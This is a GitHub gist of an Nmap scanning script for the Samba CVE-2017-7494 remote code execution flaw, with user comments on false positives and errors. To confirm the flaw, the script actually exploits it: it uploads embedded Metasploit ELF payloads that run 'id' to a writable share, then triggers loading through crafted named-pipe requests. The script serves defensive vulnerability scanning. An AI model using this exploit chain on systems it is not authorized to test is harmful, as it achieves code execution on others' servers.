Skip to content

Instantly share code, notes, and snippets.

@wongwaituck
Last active June 8, 2017 16:04
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save wongwaituck/62c863ba7aa28a2d22d0fe9cbe14a18b to your computer and use it in GitHub Desktop.
Save wongwaituck/62c863ba7aa28a2d22d0fe9cbe14a18b to your computer and use it in GitHub Desktop.
NSE script for CVE-2017-7494
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"
local table = require "table"
local nmap = require "nmap"
description = [[
Checks if target machines are vulnerable to the arbitrary shared library load
vulnerability CVE-2017-7494.
Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to
4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code
execution, allowing a malicious client to upload a shared library to a writable
share, and then cause the server to load and execute it.
The script does not scan the version numbers by default as the patches released
for the mainstream Linux distributions do not change the version numbers.
The script checks the preconditions for the exploit to happen:
1) If the argument check-version is applied, the script will ONLY check
whether the service running is vulnerable versions of Samba. This is
useful if you wish to scan a group of hosts quickly for the vulnerability
based on the version number. However, some patched versions may still
show up as likely vulnerable. Here, we use smb.get_os(host) to do
versioning of the Samba version and compare it to see if it is a known
vulnerable version of Samba. Note that this check is not conclusive:
See 2,3,4
2) Whether there exists writable shares for the execution of the script.
We must be able to write to a file to the share for the exploit to
take place. We hence enumerate the shares using
smb.share_find_writable(host) which returns the main_name, main_path
and a list of writable shares.
3) Whether the workaround (disabling of named pipes) was applied.
When "nt pipe support = no" is configured on the host, the service
would not be exploitable. Hence, we check whether this is configured
on the host using smb.share_get_details(host, 'IPC$'). The error
returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is
applied.
4) Whether we can invoke the payloads from the shares.
Using payloads from Metasploit, we upload the library files to
the writable share obtained from 2). We then make a named pipe request
using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the
payload executes, the status return will be false. Note that only
Linux_x86 and Linux_x64 payloads are tested in this script.
This script is based on the metasploit module written by hdm.
References:
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb
* https://www.samba.org/samba/security/CVE-2017-7494.html
* http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/
]]
---
-- @usage nmap --script samba-vuln-cve-2017-7494 -p 445 <target>
-- @usage nmap --script samba-vuln-cve-2017-7494 --script-args samba-vuln-cve-2017-7494.check-version -p445 <target>
-- @output
-- PORT STATE SERVICE
-- 445/tcp open microsoft-ds
-- MAC Address: 00:0C:29:16:04:53 (VMware)
--
-- | samba-vuln-cve-2017-7494:
-- | VULNERABLE:
-- | SAMBA Remote Code Execution from Writable Share
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2017-7494
-- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
-- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote
-- | code execution vulnerability, allowing a malicious client to upload a
-- | shared library to a writable share, and then cause the server to load
-- | and execute it.
-- |
-- | Disclosure date: 2017-05-24
-- | Check results:
-- | Samba Version: 4.3.9-Ubuntu
-- | Writable share found.
-- | Name: \\192.168.15.131\test
-- | Exploitation of CVE-2017-7494 succeeded!
-- | Extra information:
-- | All writable shares:
-- | Name: \\192.168.15.131\test
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494
-- |_ https://www.samba.org/samba/security/CVE-2017-7494.html
--
-- @xmloutput
-- <table key="CVE-2017-7494">
-- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2017-7494</elem>
-- </table>
-- <table key="scores">
-- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem>
-- </table>
-- <table key="description">
-- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote&#xa;code execution vulnerability, allowing a malicious client to upload a&#xa;shared library to a writable share, and then cause the server to load&#xa;and execute it.&#xa;</elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="year">2017</elem>
-- <elem key="day">24</elem>
-- <elem key="month">05</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2017-05-24</elem>
-- <table key="check_results">
-- <elem>Samba Version: 4.3.9-Ubuntu</elem>
-- <elem>Writable share found. &#xa; Name: \\192.168.15.131\test</elem>
-- <elem>Exploitation of CVE-2017-7494 succeeded!</elem>
-- </table>
-- <table key="extra_info">
-- <elem>All writable shares:</elem>
-- <elem> Name: \\192.168.15.131\test</elem>
-- </table>
-- <table key="refs">
-- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem>
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem>
-- </table>
-- </table>
-- @args samba-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false
--
---
author = "Wong Wai Tuck"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}
hostrule = function(host)
return smb.get_port(host) ~= nil
end
dependencies = {"smb-os-discovery", "smb-brute"}
--linux/x86/exec (CMD=id)
local PAYLOAD_X86 = {
0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00,
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89,
0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03,
0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80,
}
--linux/x64/exec (CMD=id)
local PAYLOAD_X64 = {
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00,
0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00,
0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05,
}
PAYLOAD_X86 = string.pack(string.rep("B", #PAYLOAD_X86), table.unpack(PAYLOAD_X86))
PAYLOAD_X64= string.pack(string.rep("B", #PAYLOAD_X64), table.unpack(PAYLOAD_X64))
-- directories to look through if actual path cannot be queried
local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/",
"/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/",
"/tmp/","/home/","/home/shared/"}
-- filename used to save into the shared folders
local FILENAME = 'test.so'
local payloads = {PAYLOAD_X86, PAYLOAD_X64}
--- Determines whether the version of Samba is vulnerable and sets it in the
-- table samba_cve. Note that version numbers may not indicate vulnerability
-- as there are patches released (e.g. for Ubuntu) which did not change the
-- version of Samba
--
-- @param version The string containing the version of Samba
-- @param samba_cve The vuln table containing information for the results
local function determine_vuln_version(version, samba_cve)
local major, minor, patch
major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*")
stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch)
major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch)
-- no patches available for 3.5.X and 3.6.X
if major == 3 and minor >= 5 then
samba_cve.state = vulns.STATE.LIKELY_VULN
elseif major == 4 then
if minor < 4 then
samba_cve.state = vulns.STATE.LIKELY_VULN
-- patched in 4.4.14
elseif minor == 4 and patch < 14 then
samba_cve.state = vulns.STATE.LIKELY_VULN
-- patched in 4.5.10
elseif minor == 5 and patch < 10 then
samba_cve.state = vulns.STATE.LIKELY_VULN
-- patched in 4.6.4
elseif minor == 6 and patch < 4 then
samba_cve.state = vulns.STATE.LIKELY_VULN
end
end
end
--- Finds all writable shares on the target host and stores the name and path
-- into samba_cve stable, using smb.share_find_writable
--
-- @param host The target host
-- @param samba_cve The vuln table containing information for the results
-- @return (main_name, main_path) Two strings, containing the name of the main
-- writable share and its path
local function find_writable_shares(host, samba_cve)
-- determine if there are writable shares
local status, main_name, main_path, names
status, main_name, main_path, names = smb.share_find_writable(host)
-- successful in finding writable share
if status then
local msg = string.format("Writable share found. \n Name: %s", main_name)
if main_path then
msg = msg .. string.format("\n Path: %s ", main_path)
end
-- insert main writable directory with path into check_results
table.insert(samba_cve.check_results, msg)
-- insert names of other writable shares to extra_info
if #names > 0 then
table.insert(samba_cve.extra_info, string.format(
"All writable shares:"))
end
for i = 1, #names, 1 do
table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name))
end
else
-- writable share enumeration failed, return error message stored in main_name
local err = main_name
table.insert(samba_cve.extra_info, err)
main_name = nil
end
-- main_path is C:\<actual share>
-- we map it to the equivalent statement in Unix filesystems
-- i.e. /<actual share>/
if main_path then
main_path = "/" .. string.sub(main_path, 4) .. "/"
end
return main_name, main_path
end
--- Check if the suggested workaround "nt pipe support = no" was applied on
-- the target host. The script checks if details can be queried on IPC$
-- which in a typical case will return details on the IPC, but if the
-- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned
--
-- @param host The target host
-- @param samba_cve The vuln table containing information for the results
-- @return A boolean indicating the nt pipe support is enabled, which
-- indicates the workaround was not applied
local function is_ntpipesupport_enabled(host, samba_cve)
-- do "nt pipe support = no" workaround check, in which case
-- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED'
local status, result
status, result = smb.share_get_details(host, 'IPC$')
if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then
samba_cve.state = vulns.STATE.NOT_VULN
return false
elseif not status then
-- error accessing IPC$, present error to user
local err = result
table.insert(samba_cve.extra_info, err)
end
return true
end
--- Creates candidate paths for common directories of shares
-- This is method is based off the Metasploit script.
--
-- @param share_name Name of the share that you wish to write to
-- ireturn Array of candidate paths of the shares, never nil
local function enumerate_directories(share_name)
local candidates = {}
-- enumerate through all locations to find the file
for i = 1, #COMMON_DIRS, 1 do
table.insert(candidates, COMMON_DIRS[i])
table.insert(candidates, COMMON_DIRS[i] .. share_name)
table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name))
table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name))
table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_"))
end
return candidates
end
--- Uploads the payloads in the array into a file each on the writable share.
-- Because the execution of the payload must match the architecture of the
-- target system, the function will try to test against each payload from
-- different architectures. The payloads were generated from Metasploit.
--
-- The function will then test if the system is vulnerable by making a NT
-- Create AndX Request on the IPC$ on the actual path of the file containing
-- the payload. It will first try to see if the actual path was retrieved
-- using previously by checking for the path argument. If it is not supplied,
-- because we do not know where the actual files are stored on the filesystem,
-- we have to make guesses on common directories. The status returned when
-- the payload executes is false, indicating that the system is vulnerable.
--
-- @param host The target host
-- @param samba_cve The vuln table containing information for the results
-- @param payloads An array containing payloads from different architectures
-- @param name The name of the writable share
-- @param path The canonical path of the share
local function test_cve2017_7494(host, samba_cve, payloads, name, path)
local status, result, err, share_name
local candidates = {}
-- create the files of both payloads on the share
-- the files are named as follows:
-- <index><base_filename>
for i, l_payload in ipairs(payloads) do
for _, anon in ipairs({true, false}) do
status, err = smb.file_write(host, l_payload, name,
tostring(i) .. FILENAME, anon)
stdnse.debug1("Write file status %s , err %s", status, err)
if status then break end
end
end
-- check if a proper filepath is returned from smb probes and use it
if path then
table.insert(candidates, path)
else
share_name = string.match(name, "\\\\.*\\(.*)") .. '/'
candidates = enumerate_directories(share_name)
end
-- try all candidate payloads
for h = 1, #payloads, 1 do
local l_filename = tostring(h) .. FILENAME
-- loop through all common candidate paths
for i = 1, #candidates, 1 do
local path = candidates[i] .. l_filename
local pipe_formats = {"\\\\PIPE\\".. path , path}
-- test both pipe formats for each path
for j = 1, #pipe_formats, 1 do
local curr_path = pipe_formats[j]
-- make an simple SMB connection to IPC$
local status, smbstate = smb.start_ex(host, true, true, "\\\\" ..
host.ip .. "\\IPC$", nil, nil, nil)
if not status then
stdnse.debug1("Could not connect to IPC$")
else
local overrides = {}
local smb_header, smb_params, smb_cmd
-- perform NT Create NX Request on candidate file paths
-- a correct filepath would return status failure on vulnerable systems
-- NT_CREATE_ANDX opcode is 0xa2
smb_header = smb.smb_encode_header(smbstate, 0xa2, overrides)
local str_len = string.len(curr_path)
-- referenced from https://msdn.microsoft.com/en-us/library/ee442175.aspx
smb_params = string.pack("<B B I2 B I2 I4 I4 I4 I8 I4 I4 I4 I4 I4 B I2 z",
0xff, -- AndXCommand (1 byte)
0x0, -- AndXReserved (1 byte)
0x0, -- AndXOffset (2 bytes)
0x0, -- Reserved (1 byte)
str_len, -- NameLength (2 bytes)
0x16, -- Flags (4 bytes)
0x0, -- RootDirectoryFID (4 bytes)
0x2000000, -- DesiredAccess (4 bytes)
0x0, -- AllocationSize (8 bytes)
0x0, -- ExtFileAttributes (4 bytes)
0x7, -- ShareAccess (4 bytes)
0x1, -- CreateDisposition (4 bytes)
0x0, -- CreateOptions (4 bytes)
0x2, -- ImpersonationLevel (4 bytes)
0x00, -- SecurityFlags (1 byte)
str_len+1, -- ByteCount (2 bytes)
curr_path -- File Name
)
overrides['parameters_length'] = 0x18
stdnse.debug2("SMB: Sending NT_CREATE_ANDX request of length %d", #smb_params)
status, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides)
stdnse.debug1('Querying - status: %s , curr_path %s , result: %s',
status, curr_path, result)
-- parse the results from the smbstate
result, smb_header = smb.smb_read(smbstate)
_, smb_cmd, err = string.unpack("<c4 B I4", smb_header)
stdnse.debug1("result %s, curr_path %s, error %s", result, curr_path, err)
-- on payload execution, result will be false
if not result then
samba_cve.state = vulns.STATE.VULN
table.insert(samba_cve.check_results,
"Exploitation of CVE-2017-7494 succeeded!")
return
end
end
end
end
end
if samba_cve.state ~= vulns.STATE.VULN and not path then
samba_cve.state = vulns.STATE.LIKELY_VULN
table.insert(samba_cve.check_results,
'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.')
end
end
action = function(host,port)
local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'})
local result, stats
local response = {}
local samba_cve = {
title = "SAMBA Remote Code Execution from Writable Share",
IDS = {CVE = 'CVE-2017-7494'},
risk_factor = "HIGH",
scores = {
CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)"
},
description = [[
All versions of Samba from 3.5.0 onwards are vulnerable to a remote
code execution vulnerability, allowing a malicious client to upload a
shared library to a writable share, and then cause the server to load
and execute it.
]],
references = {
'https://www.samba.org/samba/security/CVE-2017-7494.html',
},
dates = {
disclosure = {year = '2017', month = '05', day = '24'},
},
check_results = {},
extra_info = {}
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
samba_cve.state = vulns.STATE.NOT_VULN
local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false
-- check if they put false or similar
if check_version and string.lower(check_version) == "false" then
check_version = nil
end
local version = port.version.version
-- retrieve version of samba using smb.get_os
if not version then
local status, result = smb.get_os(host)
if(status == false) then
return stdnse.format_output(false, result)
end
-- result.lanmanager contains OS version information
-- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu
-- we only want 4.3.9-Ubuntu
if string.match(result.lanmanager,"^Samba ") then
version = string.match(result.lanmanager,"^Samba (.*)")
else
return stdnse.format_output(false,
"Either versioning failed or samba does not exist on the port!")
end
end
table.insert(samba_cve.check_results,
string.format("Samba Version: %s",version))
if check_version then
stdnse.debug("Port Version: %s", port.version.version)
-- determine if version is vulnerable
determine_vuln_version(version, samba_cve)
else
local name, path
-- vulnerability requires library to be written to share
name, path = find_writable_shares(host, samba_cve)
stdnse.debug1("Writable share name: %s, Path returned: %s", name, path)
-- do "nt pipe support = no" workaround check, which prevents exploitation
local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve)
-- some patches for samba will be marked vulnerable
-- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7
-- in reality they are not vulnerable
-- patched versions prevents named pipes containing '/'
-- more information is available on the patch
-- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030
-- therefore we need to ascertain if the exploit works
if name and ntpipe_enabled then
test_cve2017_7494(host, samba_cve, payloads, name, path)
for i, _ in ipairs(payloads) do
smb.file_delete(host, name, tostring(i) .. FILENAME)
end
end
end
return report:make_output(samba_cve)
end
@Hankhh
Copy link

Hankhh commented May 29, 2017

There is potential false positive possibility while using this script against Redhat enterprise server v6 based on the official RedHat security page;
https://rhn.redhat.com/errata/RHSA-2017-1270.html#Red
the latest Samba update for Red Hat Enterprise Linux Workstation (v. 6) is
SRPMS:
samba-3.6.23-43.el6_9.src.rpm
In this case, if you scan a host using the above script, it will show you the host is vulnerable, which is kind of false positive.
Redhat has the official script for the CVE-2017-7494, which you can use to make sure if any Samba inRedhat v6 servers are vulnerable or not.

https://access.redhat.com/sites/default/files/cve-2017-7494.sh
(It should be run locally on the target server)

@BeanBagKing
Copy link

I received the below errors indicating a problem on line 130. The fork provided by marcurdy seems to have modified 130 (and potentially others?) and fixed the error. I just wanted to point this out as something appears to be causing issues. I still receive errors on a handful of machines. However, running debug seems to indicate the script finishes fine, no errors are apparent.

Initiating NSE at 14:32
NSE: Starting samba-vuln-cve-2017-7494 against 10.x.x.x.
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account '' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account 'guest' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password: 
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password: 
NSE: samba-vuln-cve-2017-7494 against 10.x.x.x threw an error!
/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: variable 'std' is not declared
stack traceback:
	[C]: in function 'error'
	/usr/bin/../share/nmap/nselib/strict.lua:80: in metamethod '__index'
	/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: in function </usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:113>
	(...tail calls...)

Completed NSE at 14:32, 0.63s elapsed

@wongwaituck
Copy link
Author

@Hankhh : Version checks from a remote system are usually not that fine-grained unfortunately. In the latest version of the script, I completely skip the version check by default and try to run the actual exploit on the system.

@BeanBagKing : You have spotted a really careless mistake of mine! I have fixed it quite some time ago in my pull request on nmap, which should be the authoritative source for the script.

@syrius01
Copy link

syrius01 commented Jun 5, 2017

Hi, I get this error message when running the script:

root@srv0virt:~# nmap --script samba-vuln-cve-2017-7494.nse -p445 -iL list1

Starting Nmap 6.40 ( http://nmap.org ) at 2017-06-05 23:09 UTC
NSE: Failed to load samba-vuln-cve-2017-7494.nse:
samba-vuln-cve-2017-7494.nse:194: attempt to call field 'pack' (a nil value)
stack traceback:
samba-vuln-cve-2017-7494.nse:194: in function samba-vuln-cve-2017-7494.nse:1
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:547: could not load script
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:547: in function 'new'
/usr/bin/../share/nmap/nse_main.lua:783: in function 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1271: in main chunk
[C]: in ?

QUITTING!

Thanks for your time.

@Hankhh
Copy link

Hankhh commented Jun 8, 2017

@syrius01 Make sure you have the latest verion of Nmap ( which is 7.40) specially If you're using Ubuntu. Yours seems to be the old one. (To see which version is being used ---> nmap -v)
Manual nmap update ;
https://uvelinux.com/install-nmap-linux-ubuntu-fedora-redhat-suse/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment